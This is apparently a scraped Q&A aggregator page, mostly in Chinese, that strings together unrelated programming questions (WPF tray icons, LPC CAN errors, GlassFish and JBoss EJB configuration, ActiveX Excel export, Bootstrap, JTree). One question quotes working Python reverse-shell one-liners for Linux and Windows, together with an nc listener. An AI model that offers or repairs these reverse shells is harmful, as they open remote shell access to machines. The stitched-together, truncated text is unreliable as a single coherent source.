我完成了我的应用程序,现在我希望将"最小化到系统托盘功能"中.我读了一篇很好的文章, 最小化app到系统托盘.我意识到这些都使用了Windows.Form类.
不幸的是,我使用Windows Presentation Foundation WPF参考来制作我的应用程序UI.现在我看到WPF不支持NotifyIcon.我看到CodePlex上有一个开源库,模拟NotifyIcon属性WPF Contrib我尚未使用它.
现在我正在解决问题.以下是我的问题: -
a)我不想仅为一个组件合并第三方库.
b)我可以在WPF上没有NotifyIcon的情况下进行最小化功能吗?如果是,那么有人可以给我带来什么样的优惠?
或者也许我应该将我的UI恢复为使用Windows窗体?
我正在尝试在几个LPC设备节点之间设置CAN通信.我的设置包括一些写入CAN总线的CAN节点.例如,LPC 2292 CAN控制器可以写入CAN总线,LPC1758可以接收数据.这完全没问题.现在LPC1758有2个CAN控制器,我设置了一个用于接收数据,另一个用于在总线上传输数据作为响应.我还为LPC 1758 CAN 1发送和接收以及CAN 2发送和接收设置了中断处理程序.(我没有LPC 2292的代码.它不在我的控制之下)
我的问题是在LPC1758方面.这里CAN 1接收器能够从其他CAN节点获取数据,因为我可以看到被调用的中断向量处理程序.问题是当LPC 1758 CAN 2 tranmistter写入总线时.它会出现总线错误.更具体地说"Start of Frame " error.(我使用Ulink2调试器).现在读取CAN规范,我知道CAN消息的起始帧应该从低(主导)位CAN规范开始; 见第3页
我该如何解决此错误?它不是可配置的寄存器,我可以将第一位设置为0或1.我运行KEIL附带的默认LPC 1758 CAN代码C:\Keil_v5\ARM\Boards\Keil\MCB1700\CAN我认为代码很好,因为当我在KEIL的模拟模式下运行代码时我可以看到CAN通信运行良好.
这个"框架开始"是否是我缺少的其他一些配置的副产品?
Update Code :
Run Code Online (Sandbox Code Playgroud)
我运行KEIL附带的默认LPC 1758 CAN代码C:\Keil_v5\ARM\Boards\Keil\MCB1700\CAN我认为代码很好,因为当我在KEIL的模拟模式下运行代码时,我可以看到CAN通信工作正常.除了波特率之外,我没有对代码进行任何更改.CAN设置:
/*----------------------------------------------------------------------------
setup CAN interface. CAN controller (1..2)
*----------------------------------------------------------------------------*/
void CAN_setup (uint32_t ctrl) {
LPC_CAN_TypeDef *pCAN = (ctrl == 1) ? LPC_CAN1 : LPC_CAN2;
if (ctrl == 1) {
LPC_SC->PCONP |= (1 << 13); /* Enable power to CAN1 block */
LPC_PINCON->PINSEL0 |= (1 << …Run Code Online (Sandbox Code Playgroud) 我正在尝试运行一个非常简单的耳朵应用程序.我似乎遇到了这个问题,但这里的讨论对我来说不适用于 由容器修改的JDBC资源名称(__pm附加到它)
在我的例子中,数据源名称也被添加__pm.我不知道它来自何处,但服务器日志指出的是,不是搜索databasename它而是搜索databasename__pm并使部署失败.
Persistence.xml: -
<?xml version="1.0" encoding="UTF-8"?>
<persistence version="2.0" xmlns="http://java.sun.com/xml/ns/persistence" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/persistence http://java.sun.com/xml/ns/persistence/persistence_2_0.xsd">
<persistence-unit name="FCK-ejbPU" transaction-type="JTA">
<jta-data-source>FCKDatabase</jta-data-source>
<exclude-unlisted-classes>false</exclude-unlisted-classes>
<properties/>
</persistence-unit>
</persistence>
Run Code Online (Sandbox Code Playgroud)
Glassfish日志:
Error occurred during deployment: Exception while preparing the app : Invalid resource : { ResourceInfo : (jndiName=java:app/jdbc/FCKDatabase__pm), (applicationName=FCK) }. Please see server.log for more details.
Exception while invoking class org.glassfish.persistence.jpa.JPADeployer prepare method : java.lang.RuntimeException: Invalid resource : { ResourceInfo : (jndiName=java:app/jdbc/FCKDatabase__pm), (applicationName=FCK) }
Invalid resource : { …Run Code Online (Sandbox Code Playgroud) 我有独立的Java客户端(在eclipse中运行),我希望连接到外部服务器.如果服务器是localhost,那么我看不出任何问题.但是每当我尝试连接到外部服务器时,我总是会遇到以下异常
- JBREM000200: Remote connection failed: javax.security.sasl.SaslException: Authentication failed: all available authentication mechanisms failed
- Could not register a EJB receiver for connection to remote://10.160.148.61:4447
java.lang.RuntimeException: javax.security.sasl.SaslException: Authentication failed: all available authentication mechanisms failed
Run Code Online (Sandbox Code Playgroud)
我试图使用JNDI从远程客户端执行EJB调用的步骤
异常告诉我,与身份验证相关的配置文件有问题.这是我的ejb_client_properties文件
remote.connectionprovider.create.options.org.xnio.Options.SSL_ENABLED=false
remote.connections=default
remote.connection.default.host=10.160.148.61
remote.connection.default.port = 4447
remote.connection.default.connect.options.org.xnio.Options.SASL_POLICY_NOANONYMOUS=false
remote.connection.default.username=tan
remote.connection.default.password=f2b1c3c7d3f1e224cbf6508494cf0418
Run Code Online (Sandbox Code Playgroud)
注意:用户tan将添加到服务器上的mgt.user.properties文件中.我使用add-user.bat在服务器中添加用户.我还添加了一个应用程序用户.我使用相同的凭据传递给服务器.我想不出别的什么.
我的ejb电话如下:
final Hashtable jndiProperties = new Hashtable();
jndiProperties.put(Context.URL_PKG_PREFIXES, "org.jboss.ejb.client.naming");
InitialContext aJNDI = new InitialContext(jndiProperties);
Ppi handle = (Ppi) aJNDI
.lookup("ejb:PPIEAR/PService/PConnect!com.gem.p.PConnection?stateful");
Run Code Online (Sandbox Code Playgroud)
我看到许多线程与异常相关但无法修复它:(有人可以帮助.
我还在服务器上安装了合法的SSL证书.我是否需要做一些额外的事情来照顾它?
另请注意:我的服务器以独立模式运行.
我想在用户点击按钮后生成Excel工作表.基本上我想做的就是这里讨论的内容
如何将html表值传递给excel表格单元格 (KalleH.Väravas答案)
但是当我点击按钮时,不知何故没有任何反应.我正在使用Mozilla浏览器.我的代码需要启用ActiveXObject.我需要做一些额外的事情才能完成它.?
我创造了这个小提琴进行测试.如果这工作,我会尝试我的真实代码.如果这对你有用,那么请告诉我.谢谢
代码:
JS:
<script type="text/javascript">
function CreateExcelSheet() {
var i, j, str,
myTable = document.getElementById('mytable'),
rowCount = myTable.rows.length,
excel = new ActiveXObject('Excel.Application');// Activates Excel
excel.Workbooks.Add(); // Opens a new Workbook
excel.Application.Visible = true; // Shows Excel on the screen
for (i = 0; i < rowCount; i++) {
for (j = 0; j < myTable.rows[i].cells.length; j++) {
str = myTable.rows[i].cells[j].innerText;
excel.ActiveSheet.Cells(i + 1, j + 1).Value = str; // Writes to the sheet
} …Run Code Online (Sandbox Code Playgroud) 任何人都可以帮助我使用用于Windows的Python反向shell单行程(必须是Windows单行程).
我正在尝试修改我曾多次使用的Linux版本,但这是我第一次使用Windows.
Linux one liner:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Run Code Online (Sandbox Code Playgroud)
所以这就是我迄今为止所能做到的:
C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\\WINDOWS\\system32\\cmd.exe','-i']);"
Run Code Online (Sandbox Code Playgroud)
好吧,事情是我确实得到了一个连接,只是shell死了.任何人都知道如何解决这个问题或提供一些建议?
nc -lvnp 443
listening on [any] 443 ...
connect to [10.11.0.232] from (UNKNOWN) [10.11.1.31] 1036
Run Code Online (Sandbox Code Playgroud)
所以参数subprocess call必须是错误的.我似乎无法做对.
路径cmd.exe是正确的.我无法-i在cmd手册页中看到任何相应的参数.
有人能指出我正确的方向吗?
编辑:尝试没有参数进行子进程调用但仍然是相同的结果.连接立即死亡.
C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\WINDOWS\system32\cmd.exe']);"
Run Code Online (Sandbox Code Playgroud) 我正在使用twitter bootstrap为我的Ui增添趣味.我真的倾向于在页面上添加进度条.以下工作正常,只是进度条跨越整个屏幕宽度.我希望它被限制在一个小的矩形区域而不是整个屏幕的长度.知道怎么做吗?
<div class="left" >
<p> <strong>Use the portal to submit your claims</strong></p>
<p> Step 1 </p>
<div class="progress progress-info">
<div class="bar" style="width: 15%" ></div>
</div>
<p> Step 2 </p>
<div class="progress progress-info">
<div class="bar" style="width: 30%"></div>
</div>
<p> Step 3 </p>
<div class="progress progress-info">
<div class="bar" style="width: 45%"></div>
</div>
</div>
Run Code Online (Sandbox Code Playgroud) 我在互联网上找到了这个问题的一些细节,但解决方案似乎不起作用.
我希望能够扩展Jtree的所有节点(包括叶节点).这是我到目前为止的代码.
tree = new JTree(treeModel);
tree.setShowsRootHandles(true);
tree.setEditable(true);
tree.addTreeSelectionListener(treeSelectionListener);
tree.addMouseListener(mouselistener);
tree.setCellRenderer(new FileCellRenderer());
for (int i = 0; i < tree.getRowCount(); i++) {
tree.expandRow(i);
}
Run Code Online (Sandbox Code Playgroud)
但是,这不会扩展所有叶节点.我得到的是图像A,但我想要的是图像B.
